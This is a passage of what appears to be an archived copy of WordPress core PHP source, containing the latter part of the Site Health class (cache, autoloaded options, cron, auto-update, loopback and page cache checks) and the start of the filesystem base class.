esc_url( $action_url ),
__( 'Learn more about persistent object caching.' ),
/* translators: Hidden accessibility text. */
__( '(opens in a new tab)' )
),
);
if ( wp_using_ext_object_cache() ) {
return $result;
}
if ( ! $this->should_suggest_persistent_object_cache() ) {
$result['label'] = __( 'A persistent object cache is not required' );
return $result;
}
$available_services = $this->available_object_cache_services();
$notes = __( 'Your hosting provider can tell you if a persistent object cache can be enabled on your site.' );
if ( ! empty( $available_services ) ) {
$notes .= ' ' . sprintf(
/* translators: Available object caching services. */
__( 'Your host appears to support the following object caching services: %s.' ),
implode( ', ', $available_services )
);
}
/**
* Filters the second paragraph of the health check's description
* when suggesting the use of a persistent object cache.
*
* Hosts may want to replace the notes to recommend their preferred object caching solution.
*
* Plugin authors may want to append notes (not replace) on why object caching is recommended for their plugin.
*
* @since 6.1.0
*
* @param string $notes The notes appended to the health check description.
* @param string[] $available_services The list of available persistent object cache services.
*/
$notes = apply_filters( 'site_status_persistent_object_cache_notes', $notes, $available_services );
$result['status'] = 'recommended';
$result['label'] = __( 'You should use a persistent object cache' );
$result['description'] .= sprintf(
'
%s
',
wp_kses(
$notes,
array(
'a' => array( 'href' => true ),
'code' => true,
'em' => true,
'strong' => true,
)
)
);
return $result;
}
/**
* Calculates total amount of autoloaded data.
*
* @since 6.6.0
*
* @return int Autoloaded data in bytes.
*/
public function get_autoloaded_options_size() {
$alloptions = wp_load_alloptions();
$total_length = 0;
foreach ( $alloptions as $option_value ) {
if ( is_array( $option_value ) || is_object( $option_value ) ) {
$option_value = maybe_serialize( $option_value );
}
$total_length += strlen( (string) $option_value );
}
return $total_length;
}
/**
* Tests the number of autoloaded options.
*
* @since 6.6.0
*
* @return array The test results.
*/
public function get_test_autoloaded_options() {
$autoloaded_options_size = $this->get_autoloaded_options_size();
$autoloaded_options_count = count( wp_load_alloptions() );
$base_description = __( 'Autoloaded options are configuration settings for plugins and themes that are automatically loaded with every page load in WordPress. Having too many autoloaded options can slow down your site.' );
$result = array(
'label' => __( 'Autoloaded options are acceptable' ),
'status' => 'good',
'badge' => array(
'label' => __( 'Performance' ),
'color' => 'blue',
),
'description' => sprintf(
/* translators: 1: Number of autoloaded options, 2: Autoloaded options size. */
'
' . esc_html( $base_description ) . ' ' . __( 'Your site has %1$s autoloaded options (size: %2$s) in the options table, which is acceptable.' ) . '
',
$autoloaded_options_count,
size_format( $autoloaded_options_size )
),
'actions' => '',
'test' => 'autoloaded_options',
);
/**
* Filters max bytes threshold to trigger warning in Site Health.
*
* @since 6.6.0
*
* @param int $limit Autoloaded options threshold size. Default 800000.
*/
$limit = apply_filters( 'site_status_autoloaded_options_size_limit', 800000 );
if ( $autoloaded_options_size < $limit ) {
return $result;
}
$result['status'] = 'critical';
$result['label'] = __( 'Autoloaded options could affect performance' );
$result['description'] = sprintf(
/* translators: 1: Number of autoloaded options, 2: Autoloaded options size. */
'
' . esc_html( $base_description ) . ' ' . __( 'Your site has %1$s autoloaded options (size: %2$s) in the options table, which could cause your site to be slow. You can review the options being autoloaded in your database and remove any options that are no longer needed by your site.' ) . '
',
$autoloaded_options_count,
size_format( $autoloaded_options_size )
);
/**
* Filters description to be shown on Site Health warning when threshold is met.
*
* @since 6.6.0
*
* @param string $description Description message when autoloaded options bigger than threshold.
*/
$result['description'] = apply_filters( 'site_status_autoloaded_options_limit_description', $result['description'] );
$result['actions'] = sprintf(
/* translators: 1: HelpHub URL, 2: Link description. */
'
',
esc_url( __( 'https://developer.wordpress.org/advanced-administration/performance/optimization/#autoloaded-options' ) ),
__( 'More info about optimizing autoloaded options' )
);
/**
* Filters actionable information to tackle the problem. It can be a link to an external guide.
*
* @since 6.6.0
*
* @param string $actions Call to Action to be used to point to the right direction to solve the issue.
*/
$result['actions'] = apply_filters( 'site_status_autoloaded_options_action_to_perform', $result['actions'] );
return $result;
}
/**
* Returns a set of tests that belong to the site status page.
*
* Each site status test is defined here, they may be `direct` tests, that run on page load, or `async` tests
* which will run later down the line via JavaScript calls to improve page performance and hopefully also user
* experiences.
*
* @since 5.2.0
* @since 5.6.0 Added support for `has_rest` and `permissions`.
*
* @return array The list of tests to run.
*/
public static function get_tests() {
$tests = array(
'direct' => array(
'wordpress_version' => array(
'label' => __( 'WordPress Version' ),
'test' => 'wordpress_version',
),
'plugin_version' => array(
'label' => __( 'Plugin Versions' ),
'test' => 'plugin_version',
),
'theme_version' => array(
'label' => __( 'Theme Versions' ),
'test' => 'theme_version',
),
'php_version' => array(
'label' => __( 'PHP Version' ),
'test' => 'php_version',
),
'php_extensions' => array(
'label' => __( 'PHP Extensions' ),
'test' => 'php_extensions',
),
'php_default_timezone' => array(
'label' => __( 'PHP Default Timezone' ),
'test' => 'php_default_timezone',
),
'php_sessions' => array(
'label' => __( 'PHP Sessions' ),
'test' => 'php_sessions',
),
'sql_server' => array(
'label' => __( 'Database Server version' ),
'test' => 'sql_server',
),
'ssl_support' => array(
'label' => __( 'Secure communication' ),
'test' => 'ssl_support',
),
'scheduled_events' => array(
'label' => __( 'Scheduled events' ),
'test' => 'scheduled_events',
),
'http_requests' => array(
'label' => __( 'HTTP Requests' ),
'test' => 'http_requests',
),
'rest_availability' => array(
'label' => __( 'REST API availability' ),
'test' => 'rest_availability',
'skip_cron' => true,
),
'debug_enabled' => array(
'label' => __( 'Debugging enabled' ),
'test' => 'is_in_debug_mode',
),
'file_uploads' => array(
'label' => __( 'File uploads' ),
'test' => 'file_uploads',
),
'plugin_theme_auto_updates' => array(
'label' => __( 'Plugin and theme auto-updates' ),
'test' => 'plugin_theme_auto_updates',
),
'update_temp_backup_writable' => array(
'label' => __( 'Plugin and theme temporary backup directory access' ),
'test' => 'update_temp_backup_writable',
),
'available_updates_disk_space' => array(
'label' => __( 'Available disk space' ),
'test' => 'available_updates_disk_space',
),
'autoloaded_options' => array(
'label' => __( 'Autoloaded options' ),
'test' => 'autoloaded_options',
),
),
'async' => array(
'dotorg_communication' => array(
'label' => __( 'Communication with WordPress.org' ),
'test' => rest_url( 'wp-site-health/v1/tests/dotorg-communication' ),
'has_rest' => true,
'async_direct_test' => array( WP_Site_Health::get_instance(), 'get_test_dotorg_communication' ),
),
'background_updates' => array(
'label' => __( 'Background updates' ),
'test' => rest_url( 'wp-site-health/v1/tests/background-updates' ),
'has_rest' => true,
'async_direct_test' => array( WP_Site_Health::get_instance(), 'get_test_background_updates' ),
),
'loopback_requests' => array(
'label' => __( 'Loopback request' ),
'test' => rest_url( 'wp-site-health/v1/tests/loopback-requests' ),
'has_rest' => true,
'async_direct_test' => array( WP_Site_Health::get_instance(), 'get_test_loopback_requests' ),
),
'https_status' => array(
'label' => __( 'HTTPS status' ),
'test' => rest_url( 'wp-site-health/v1/tests/https-status' ),
'has_rest' => true,
'async_direct_test' => array( WP_Site_Health::get_instance(), 'get_test_https_status' ),
),
),
);
// Conditionally include Authorization header test if the site isn't protected by Basic Auth.
if ( ! wp_is_site_protected_by_basic_auth() ) {
$tests['async']['authorization_header'] = array(
'label' => __( 'Authorization header' ),
'test' => rest_url( 'wp-site-health/v1/tests/authorization-header' ),
'has_rest' => true,
'headers' => array( 'Authorization' => 'Basic ' . base64_encode( 'user:pwd' ) ),
'skip_cron' => true,
);
}
// Only check for caches in production environments.
if ( 'production' === wp_get_environment_type() ) {
$tests['async']['page_cache'] = array(
'label' => __( 'Page cache' ),
'test' => rest_url( 'wp-site-health/v1/tests/page-cache' ),
'has_rest' => true,
'async_direct_test' => array( WP_Site_Health::get_instance(), 'get_test_page_cache' ),
);
$tests['direct']['persistent_object_cache'] = array(
'label' => __( 'Persistent object cache' ),
'test' => 'persistent_object_cache',
);
}
/**
* Filters which site status tests are run on a site.
*
* The site health is determined by a set of tests based on best practices from
* both the WordPress Hosting Team and web standards in general.
*
* Some sites may not have the same requirements, for example the automatic update
* checks may be handled by a host, and are therefore disabled in core.
* Or maybe you want to introduce a new test, is caching enabled/disabled/stale for example.
*
* Tests may be added either as direct, or asynchronous ones. Any test that may require some time
* to complete should run asynchronously, to avoid extended loading periods within wp-admin.
*
* @since 5.2.0
* @since 5.6.0 Added the `async_direct_test` array key for asynchronous tests.
* Added the `skip_cron` array key for all tests.
*
* @param array[] $tests {
* An associative array of direct and asynchronous tests.
*
* @type array[] $direct {
* An array of direct tests.
*
* @type array ...$identifier {
* `$identifier` should be a unique identifier for the test. Plugins and themes are encouraged to
* prefix test identifiers with their slug to avoid collisions between tests.
*
* @type string $label The friendly label to identify the test.
* @type callable $test The callback function that runs the test and returns its result.
* @type bool $skip_cron Whether to skip this test when running as cron.
* }
* }
* @type array[] $async {
* An array of asynchronous tests.
*
* @type array ...$identifier {
* `$identifier` should be a unique identifier for the test. Plugins and themes are encouraged to
* prefix test identifiers with their slug to avoid collisions between tests.
*
* @type string $label The friendly label to identify the test.
* @type string $test An admin-ajax.php action to be called to perform the test, or
* if `$has_rest` is true, a URL to a REST API endpoint to perform
* the test.
* @type bool $has_rest Whether the `$test` property points to a REST API endpoint.
* @type bool $skip_cron Whether to skip this test when running as cron.
* @type callable $async_direct_test A manner of directly calling the test marked as asynchronous,
* as the scheduled event can not authenticate, and endpoints
* may require authentication.
* }
* }
* }
*/
$tests = apply_filters( 'site_status_tests', $tests );
// Ensure that the filtered tests contain the required array keys.
$tests = array_merge(
array(
'direct' => array(),
'async' => array(),
),
$tests
);
return $tests;
}
/**
* Adds a class to the body HTML tag.
*
* Filters the body class string for admin pages and adds our own class for easier styling.
*
* @since 5.2.0
*
* @param string $body_class The body class string.
* @return string The modified body class string.
*/
public function admin_body_class( $body_class ) {
$screen = get_current_screen();
if ( 'site-health' !== $screen->id ) {
return $body_class;
}
$body_class .= ' site-health';
return $body_class;
}
/**
* Initiates the WP_Cron schedule test cases.
*
* @since 5.2.0
*/
private function wp_schedule_test_init() {
$this->schedules = wp_get_schedules();
$this->get_cron_tasks();
}
/**
* Populates the list of cron events and store them to a class-wide variable.
*
* @since 5.2.0
*/
private function get_cron_tasks() {
$cron_tasks = _get_cron_array();
if ( empty( $cron_tasks ) ) {
$this->crons = new WP_Error( 'no_tasks', __( 'No scheduled events exist on this site.' ) );
return;
}
$this->crons = array();
foreach ( $cron_tasks as $time => $cron ) {
foreach ( $cron as $hook => $dings ) {
foreach ( $dings as $sig => $data ) {
$this->crons[ "$hook-$sig-$time" ] = (object) array(
'hook' => $hook,
'time' => $time,
'sig' => $sig,
'args' => $data['args'],
'schedule' => $data['schedule'],
'interval' => isset( $data['interval'] ) ? $data['interval'] : null,
);
}
}
}
}
/**
* Checks if any scheduled tasks have been missed.
*
* Returns a boolean value of `true` if a scheduled task has been missed and ends processing.
*
* If the list of crons is an instance of WP_Error, returns the instance instead of a boolean value.
*
* @since 5.2.0
*
* @return bool|WP_Error True if a cron was missed, false if not. WP_Error if the cron is set to that.
*/
public function has_missed_cron() {
if ( is_wp_error( $this->crons ) ) {
return $this->crons;
}
foreach ( $this->crons as $id => $cron ) {
if ( ( $cron->time - time() ) < $this->timeout_missed_cron ) {
$this->last_missed_cron = $cron->hook;
return true;
}
}
return false;
}
/**
* Checks if any scheduled tasks are late.
*
* Returns a boolean value of `true` if a scheduled task is late and ends processing.
*
* If the list of crons is an instance of WP_Error, returns the instance instead of a boolean value.
*
* @since 5.3.0
*
* @return bool|WP_Error True if a cron is late, false if not. WP_Error if the cron is set to that.
*/
public function has_late_cron() {
if ( is_wp_error( $this->crons ) ) {
return $this->crons;
}
foreach ( $this->crons as $id => $cron ) {
$cron_offset = $cron->time - time();
if (
$cron_offset >= $this->timeout_missed_cron &&
$cron_offset < $this->timeout_late_cron
) {
$this->last_late_cron = $cron->hook;
return true;
}
}
return false;
}
/**
* Checks for potential issues with plugin and theme auto-updates.
*
* Though there is no way to 100% determine if plugin and theme auto-updates are configured
* correctly, a few educated guesses could be made to flag any conditions that would
* potentially cause unexpected behaviors.
*
* @since 5.5.0
*
* @return object The test results.
*/
public function detect_plugin_theme_auto_update_issues() {
$mock_plugin = (object) array(
'id' => 'w.org/plugins/a-fake-plugin',
'slug' => 'a-fake-plugin',
'plugin' => 'a-fake-plugin/a-fake-plugin.php',
'new_version' => '9.9',
'url' => 'https://wordpress.org/plugins/a-fake-plugin/',
'package' => 'https://downloads.wordpress.org/plugin/a-fake-plugin.9.9.zip',
'icons' => array(
'2x' => 'https://ps.w.org/a-fake-plugin/assets/icon-256x256.png',
'1x' => 'https://ps.w.org/a-fake-plugin/assets/icon-128x128.png',
),
'banners' => array(
'2x' => 'https://ps.w.org/a-fake-plugin/assets/banner-1544x500.png',
'1x' => 'https://ps.w.org/a-fake-plugin/assets/banner-772x250.png',
),
'banners_rtl' => array(),
'tested' => '5.5.0',
'requires_php' => '5.6.20',
'compatibility' => new stdClass(),
);
$mock_theme = (object) array(
'theme' => 'a-fake-theme',
'new_version' => '9.9',
'url' => 'https://wordpress.org/themes/a-fake-theme/',
'package' => 'https://downloads.wordpress.org/theme/a-fake-theme.9.9.zip',
'requires' => '5.0.0',
'requires_php' => '5.6.20',
);
$test_plugins_enabled = wp_is_auto_update_forced_for_item( 'plugin', true, $mock_plugin );
$test_themes_enabled = wp_is_auto_update_forced_for_item( 'theme', true, $mock_theme );
$ui_enabled_for_plugins = wp_is_auto_update_enabled_for_type( 'plugin' );
$ui_enabled_for_themes = wp_is_auto_update_enabled_for_type( 'theme' );
$plugin_filter_present = has_filter( 'auto_update_plugin' );
$theme_filter_present = has_filter( 'auto_update_theme' );
if ( ( ! $test_plugins_enabled && $ui_enabled_for_plugins )
|| ( ! $test_themes_enabled && $ui_enabled_for_themes )
) {
return (object) array(
'status' => 'critical',
'message' => __( 'Auto-updates for plugins and/or themes appear to be disabled, but settings are still set to be displayed. This could cause auto-updates to not work as expected.' ),
);
}
if ( ( ! $test_plugins_enabled && $plugin_filter_present )
&& ( ! $test_themes_enabled && $theme_filter_present )
) {
return (object) array(
'status' => 'recommended',
'message' => __( 'Auto-updates for plugins and themes appear to be disabled. This will prevent your site from receiving new versions automatically when available.' ),
);
} elseif ( ! $test_plugins_enabled && $plugin_filter_present ) {
return (object) array(
'status' => 'recommended',
'message' => __( 'Auto-updates for plugins appear to be disabled. This will prevent your site from receiving new versions automatically when available.' ),
);
} elseif ( ! $test_themes_enabled && $theme_filter_present ) {
return (object) array(
'status' => 'recommended',
'message' => __( 'Auto-updates for themes appear to be disabled. This will prevent your site from receiving new versions automatically when available.' ),
);
}
return (object) array(
'status' => 'good',
'message' => __( 'There appear to be no issues with plugin and theme auto-updates.' ),
);
}
/**
* Runs a loopback test on the site.
*
* Loopbacks are what WordPress uses to communicate with itself to start up WP_Cron, scheduled posts,
* make sure plugin or theme edits don't cause site failures and similar.
*
* @since 5.2.0
*
* @return object The test results.
*/
public function can_perform_loopback() {
$body = array( 'site-health' => 'loopback-test' );
$cookies = wp_unslash( $_COOKIE );
$timeout = 10; // 10 seconds.
$headers = array(
'Cache-Control' => 'no-cache',
);
/** This filter is documented in wp-includes/class-wp-http-streams.php */
$sslverify = apply_filters( 'https_local_ssl_verify', false );
// Include Basic auth in loopback requests.
if ( isset( $_SERVER['PHP_AUTH_USER'] ) && isset( $_SERVER['PHP_AUTH_PW'] ) ) {
$headers['Authorization'] = 'Basic ' . base64_encode( wp_unslash( $_SERVER['PHP_AUTH_USER'] ) . ':' . wp_unslash( $_SERVER['PHP_AUTH_PW'] ) );
}
$url = site_url( 'wp-cron.php' );
/*
* A post request is used for the wp-cron.php loopback test to cause the file
* to finish early without triggering cron jobs. This has two benefits:
* - cron jobs are not triggered a second time on the site health page,
* - the loopback request finishes sooner providing a quicker result.
*
* Using a POST request causes the loopback to differ slightly to the standard
* GET request WordPress uses for wp-cron.php loopback requests but is close
* enough. See https://core.trac.wordpress.org/ticket/52547
*/
$r = wp_remote_post( $url, compact( 'body', 'cookies', 'headers', 'timeout', 'sslverify' ) );
if ( is_wp_error( $r ) ) {
return (object) array(
'status' => 'critical',
'message' => sprintf(
'%s %s',
__( 'The loopback request to your site failed, this means features relying on them are not currently working as expected.' ),
sprintf(
/* translators: 1: The WordPress error message. 2: The WordPress error code. */
__( 'Error: %1$s (%2$s)' ),
$r->get_error_message(),
$r->get_error_code()
)
),
);
}
if ( 200 !== wp_remote_retrieve_response_code( $r ) ) {
return (object) array(
'status' => 'recommended',
'message' => sprintf(
/* translators: %d: The HTTP response code returned. */
__( 'The loopback request returned an unexpected http status code, %d, it was not possible to determine if this will prevent features from working as expected.' ),
wp_remote_retrieve_response_code( $r )
),
);
}
return (object) array(
'status' => 'good',
'message' => __( 'The loopback request to your site completed successfully.' ),
);
}
/**
* Creates a weekly cron event, if one does not already exist.
*
* @since 5.4.0
*/
public function maybe_create_scheduled_event() {
if ( ! wp_next_scheduled( 'wp_site_health_scheduled_check' ) && ! wp_installing() ) {
wp_schedule_event( time() + DAY_IN_SECONDS, 'weekly', 'wp_site_health_scheduled_check' );
}
}
/**
* Runs the scheduled event to check and update the latest site health status for the website.
*
* @since 5.4.0
*/
public function wp_cron_scheduled_check() {
// Bootstrap wp-admin, as WP_Cron doesn't do this for us.
require_once trailingslashit( ABSPATH ) . 'wp-admin/includes/admin.php';
$tests = WP_Site_Health::get_tests();
$results = array();
$site_status = array(
'good' => 0,
'recommended' => 0,
'critical' => 0,
);
// Don't run https test on development environments.
if ( $this->is_development_environment() ) {
unset( $tests['async']['https_status'] );
}
foreach ( $tests['direct'] as $test ) {
if ( ! empty( $test['skip_cron'] ) ) {
continue;
}
if ( is_string( $test['test'] ) ) {
$test_function = sprintf(
'get_test_%s',
$test['test']
);
if ( method_exists( $this, $test_function ) && is_callable( array( $this, $test_function ) ) ) {
$results[] = $this->perform_test( array( $this, $test_function ) );
continue;
}
}
if ( is_callable( $test['test'] ) ) {
$results[] = $this->perform_test( $test['test'] );
}
}
foreach ( $tests['async'] as $test ) {
if ( ! empty( $test['skip_cron'] ) ) {
continue;
}
// Local endpoints may require authentication, so asynchronous tests can pass a direct test runner as well.
if ( ! empty( $test['async_direct_test'] ) && is_callable( $test['async_direct_test'] ) ) {
// This test is callable, do so and continue to the next asynchronous check.
$results[] = $this->perform_test( $test['async_direct_test'] );
continue;
}
if ( is_string( $test['test'] ) ) {
// Check if this test has a REST API endpoint.
if ( isset( $test['has_rest'] ) && $test['has_rest'] ) {
$result_fetch = wp_remote_get(
$test['test'],
array(
'body' => array(
'_wpnonce' => wp_create_nonce( 'wp_rest' ),
),
)
);
} else {
$result_fetch = wp_remote_post(
admin_url( 'admin-ajax.php' ),
array(
'body' => array(
'action' => $test['test'],
'_wpnonce' => wp_create_nonce( 'health-check-site-status' ),
),
)
);
}
if ( ! is_wp_error( $result_fetch ) && 200 === wp_remote_retrieve_response_code( $result_fetch ) ) {
$result = json_decode( wp_remote_retrieve_body( $result_fetch ), true );
} else {
$result = false;
}
if ( is_array( $result ) ) {
$results[] = $result;
} else {
$results[] = array(
'status' => 'recommended',
'label' => __( 'A test is unavailable' ),
);
}
}
}
foreach ( $results as $result ) {
if ( 'critical' === $result['status'] ) {
++$site_status['critical'];
} elseif ( 'recommended' === $result['status'] ) {
++$site_status['recommended'];
} else {
++$site_status['good'];
}
}
set_transient( 'health-check-site-status-result', wp_json_encode( $site_status ) );
}
/**
* Checks if the current environment type is set to 'development' or 'local'.
*
* @since 5.6.0
*
* @return bool True if it is a development environment, false if not.
*/
public function is_development_environment() {
return in_array( wp_get_environment_type(), array( 'development', 'local' ), true );
}
/**
* Returns a list of headers and its verification callback to verify if page cache is enabled or not.
*
* Note: key is header name and value could be callable function to verify header value.
* Empty value mean existence of header detect page cache is enabled.
*
* @since 6.1.0
*
* @return array List of client caching headers and their (optional) verification callbacks.
*/
public function get_page_cache_headers() {
$cache_hit_callback = static function ( $header_value ) {
return str_contains( strtolower( $header_value ), 'hit' );
};
$cache_headers = array(
'cache-control' => static function ( $header_value ) {
return (bool) preg_match( '/max-age=[1-9]/', $header_value );
},
'expires' => static function ( $header_value ) {
return strtotime( $header_value ) > time();
},
'age' => static function ( $header_value ) {
return is_numeric( $header_value ) && $header_value > 0;
},
'last-modified' => '',
'etag' => '',
'x-cache-enabled' => static function ( $header_value ) {
return 'true' === strtolower( $header_value );
},
'x-cache-disabled' => static function ( $header_value ) {
return ( 'on' !== strtolower( $header_value ) );
},
'x-srcache-store-status' => $cache_hit_callback,
'x-srcache-fetch-status' => $cache_hit_callback,
);
/**
* Filters the list of cache headers supported by core.
*
* @since 6.1.0
*
* @param array $cache_headers Array of supported cache headers.
*/
return apply_filters( 'site_status_page_cache_supported_cache_headers', $cache_headers );
}
/**
* Checks if site has page cache enabled or not.
*
* @since 6.1.0
*
* @return WP_Error|array {
* Page cache detection details or else error information.
*
* @type bool $advanced_cache_present Whether a page cache plugin is present.
* @type array[] $page_caching_response_headers Sets of client caching headers for the responses.
* @type float[] $response_timing Response timings.
* }
*/
private function check_for_page_caching() {
/** This filter is documented in wp-includes/class-wp-http-streams.php */
$sslverify = apply_filters( 'https_local_ssl_verify', false );
$headers = array();
/*
* Include basic auth in loopback requests. Note that this will only pass along basic auth when user is
* initiating the test. If a site requires basic auth, the test will fail when it runs in WP Cron as part of
* wp_site_health_scheduled_check. This logic is copied from WP_Site_Health::can_perform_loopback().
*/
if ( isset( $_SERVER['PHP_AUTH_USER'] ) && isset( $_SERVER['PHP_AUTH_PW'] ) ) {
$headers['Authorization'] = 'Basic ' . base64_encode( wp_unslash( $_SERVER['PHP_AUTH_USER'] ) . ':' . wp_unslash( $_SERVER['PHP_AUTH_PW'] ) );
}
$caching_headers = $this->get_page_cache_headers();
$page_caching_response_headers = array();
$response_timing = array();
for ( $i = 1; $i <= 3; $i++ ) {
$start_time = microtime( true );
$http_response = wp_remote_get( home_url( '/' ), compact( 'sslverify', 'headers' ) );
$end_time = microtime( true );
if ( is_wp_error( $http_response ) ) {
return $http_response;
}
if ( wp_remote_retrieve_response_code( $http_response ) !== 200 ) {
return new WP_Error(
'http_' . wp_remote_retrieve_response_code( $http_response ),
wp_remote_retrieve_response_message( $http_response )
);
}
$response_headers = array();
foreach ( $caching_headers as $header => $callback ) {
$header_values = wp_remote_retrieve_header( $http_response, $header );
if ( empty( $header_values ) ) {
continue;
}
$header_values = (array) $header_values;
if ( empty( $callback ) || ( is_callable( $callback ) && count( array_filter( $header_values, $callback ) ) > 0 ) ) {
$response_headers[ $header ] = $header_values;
}
}
$page_caching_response_headers[] = $response_headers;
$response_timing[] = ( $end_time - $start_time ) * 1000;
}
return array(
'advanced_cache_present' => (
file_exists( WP_CONTENT_DIR . '/advanced-cache.php' )
&&
( defined( 'WP_CACHE' ) && WP_CACHE )
&&
/** This filter is documented in wp-settings.php */
apply_filters( 'enable_loading_advanced_cache_dropin', true )
),
'page_caching_response_headers' => $page_caching_response_headers,
'response_timing' => $response_timing,
);
}
/**
* Gets page cache details.
*
* @since 6.1.0
*
* @return WP_Error|array {
* Page cache detail or else a WP_Error if unable to determine.
*
* @type string $status Page cache status. Good, Recommended or Critical.
* @type bool $advanced_cache_present Whether page cache plugin is available or not.
* @type string[] $headers Client caching response headers detected.
* @type float $response_time Response time of site.
* }
*/
private function get_page_cache_detail() {
$page_cache_detail = $this->check_for_page_caching();
if ( is_wp_error( $page_cache_detail ) ) {
return $page_cache_detail;
}
// Use the median server response time.
$response_timings = $page_cache_detail['response_timing'];
rsort( $response_timings );
$page_speed = $response_timings[ floor( count( $response_timings ) / 2 ) ];
// Obtain unique set of all client caching response headers.
$headers = array();
foreach ( $page_cache_detail['page_caching_response_headers'] as $page_caching_response_headers ) {
$headers = array_merge( $headers, array_keys( $page_caching_response_headers ) );
}
$headers = array_unique( $headers );
// Page cache is detected if there are response headers or a page cache plugin is present.
$has_page_caching = ( count( $headers ) > 0 || $page_cache_detail['advanced_cache_present'] );
if ( $page_speed && $page_speed < $this->get_good_response_time_threshold() ) {
$result = $has_page_caching ? 'good' : 'recommended';
} else {
$result = 'critical';
}
return array(
'status' => $result,
'advanced_cache_present' => $page_cache_detail['advanced_cache_present'],
'headers' => $headers,
'response_time' => $page_speed,
);
}
/**
* Gets the threshold below which a response time is considered good.
*
* @since 6.1.0
*
* @return int Threshold in milliseconds.
*/
private function get_good_response_time_threshold() {
/**
* Filters the threshold below which a response time is considered good.
*
* The default is based on https://web.dev/time-to-first-byte/.
*
* @param int $threshold Threshold in milliseconds. Default 600.
*
* @since 6.1.0
*/
return (int) apply_filters( 'site_status_good_response_time_threshold', 600 );
}
/**
* Determines whether to suggest using a persistent object cache.
*
* @since 6.1.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @return bool Whether to suggest using a persistent object cache.
*/
public function should_suggest_persistent_object_cache() {
global $wpdb;
/**
* Filters whether to suggest use of a persistent object cache and bypass default threshold checks.
*
* Using this filter allows to override the default logic, effectively short-circuiting the method.
*
* @since 6.1.0
*
* @param bool|null $suggest Boolean to short-circuit, for whether to suggest using a persistent object cache.
* Default null.
*/
$short_circuit = apply_filters( 'site_status_should_suggest_persistent_object_cache', null );
if ( is_bool( $short_circuit ) ) {
return $short_circuit;
}
if ( is_multisite() ) {
return true;
}
/**
* Filters the thresholds used to determine whether to suggest the use of a persistent object cache.
*
* @since 6.1.0
*
* @param int[] $thresholds The list of threshold numbers keyed by threshold name.
*/
$thresholds = apply_filters(
'site_status_persistent_object_cache_thresholds',
array(
'alloptions_count' => 500,
'alloptions_bytes' => 100000,
'comments_count' => 1000,
'options_count' => 1000,
'posts_count' => 1000,
'terms_count' => 1000,
'users_count' => 1000,
)
);
$alloptions = wp_load_alloptions();
if ( $thresholds['alloptions_count'] < count( $alloptions ) ) {
return true;
}
if ( $thresholds['alloptions_bytes'] < strlen( serialize( $alloptions ) ) ) {
return true;
}
$table_names = implode( "','", array( $wpdb->comments, $wpdb->options, $wpdb->posts, $wpdb->terms, $wpdb->users ) );
// With InnoDB the `TABLE_ROWS` are estimates, which are accurate enough and faster to retrieve than individual `COUNT()` queries.
$results = $wpdb->get_results(
$wpdb->prepare(
// phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- This query cannot use interpolation.
"SELECT TABLE_NAME AS 'table', TABLE_ROWS AS 'rows', SUM(data_length + index_length) as 'bytes' FROM information_schema.TABLES WHERE TABLE_SCHEMA = %s AND TABLE_NAME IN ('$table_names') GROUP BY TABLE_NAME;",
DB_NAME
),
OBJECT_K
);
$threshold_map = array(
'comments_count' => $wpdb->comments,
'options_count' => $wpdb->options,
'posts_count' => $wpdb->posts,
'terms_count' => $wpdb->terms,
'users_count' => $wpdb->users,
);
foreach ( $threshold_map as $threshold => $table ) {
if ( $thresholds[ $threshold ] <= $results[ $table ]->rows ) {
return true;
}
}
return false;
}
/**
* Returns a list of available persistent object cache services.
*
* @since 6.1.0
*
* @return string[] The list of available persistent object cache services.
*/
private function available_object_cache_services() {
$extensions = array_map(
'extension_loaded',
array(
'APCu' => 'apcu',
'Redis' => 'redis',
'Relay' => 'relay',
'Memcache' => 'memcache',
'Memcached' => 'memcached',
)
);
$services = array_keys( array_filter( $extensions ) );
/**
* Filters the persistent object cache services available to the user.
*
* This can be useful to hide or add services not included in the defaults.
*
* @since 6.1.0
*
* @param string[] $services The list of available persistent object cache services.
*/
return apply_filters( 'site_status_available_object_cache_services', $services );
}
}
class-wp-filesystem-base.php 0000644 00000057532 14757313107 0012124 0 ustar 00 find_folder( ABSPATH );
/*
* Perhaps the FTP folder is rooted at the WordPress install.
* Check for wp-includes folder in root. Could have some false positives, but rare.
*/
if ( ! $folder && $this->is_dir( '/' . WPINC ) ) {
$folder = '/';
}
return $folder;
}
/**
* Returns the path on the remote filesystem of WP_CONTENT_DIR.
*
* @since 2.7.0
*
* @return string The location of the remote path.
*/
public function wp_content_dir() {
return $this->find_folder( WP_CONTENT_DIR );
}
/**
* Returns the path on the remote filesystem of WP_PLUGIN_DIR.
*
* @since 2.7.0
*
* @return string The location of the remote path.
*/
public function wp_plugins_dir() {
return $this->find_folder( WP_PLUGIN_DIR );
}
/**
* Returns the path on the remote filesystem of the Themes Directory.
*
* @since 2.7.0
*
* @param string|false $theme Optional. The theme stylesheet or template for the directory.
* Default false.
* @return string The location of the remote path.
*/
public function wp_themes_dir( $theme = false ) {
$theme_root = get_theme_root( $theme );
// Account for relative theme roots.
if ( '/themes' === $theme_root || ! is_dir( $theme_root ) ) {
$theme_root = WP_CONTENT_DIR . $theme_root;
}
return $this->find_folder( $theme_root );
}
/**
* Returns the path on the remote filesystem of WP_LANG_DIR.
*
* @since 3.2.0
*
* @return string The location of the remote path.
*/
public function wp_lang_dir() {
return $this->find_folder( WP_LANG_DIR );
}
/**
* Locates a folder on the remote filesystem.
*
* @since 2.5.0
* @deprecated 2.7.0 use WP_Filesystem_Base::abspath() or WP_Filesystem_Base::wp_*_dir() instead.
* @see WP_Filesystem_Base::abspath()
* @see WP_Filesystem_Base::wp_content_dir()
* @see WP_Filesystem_Base::wp_plugins_dir()
* @see WP_Filesystem_Base::wp_themes_dir()
* @see WP_Filesystem_Base::wp_lang_dir()
*
* @param string $base Optional. The folder to start searching from. Default '.'.
* @param bool $verbose Optional. True to display debug information. Default false.
* @return string The location of the remote path.
*/
public function find_base_dir( $base = '.', $verbose = false ) {
_deprecated_function( __FUNCTION__, '2.7.0', 'WP_Filesystem_Base::abspath() or WP_Filesystem_Base::wp_*_dir()' );
$this->verbose = $verbose;
return $this->abspath();
}
/**
* Locates a folder on the remote filesystem.
*
* @since 2.5.0
* @deprecated 2.7.0 use WP_Filesystem_Base::abspath() or WP_Filesystem_Base::wp_*_dir() methods instead.
* @see WP_Filesystem_Base::abspath()
* @see WP_Filesystem_Base::wp_content_dir()
* @see WP_Filesystem_Base::wp_plugins_dir()
* @see WP_Filesystem_Base::wp_themes_dir()
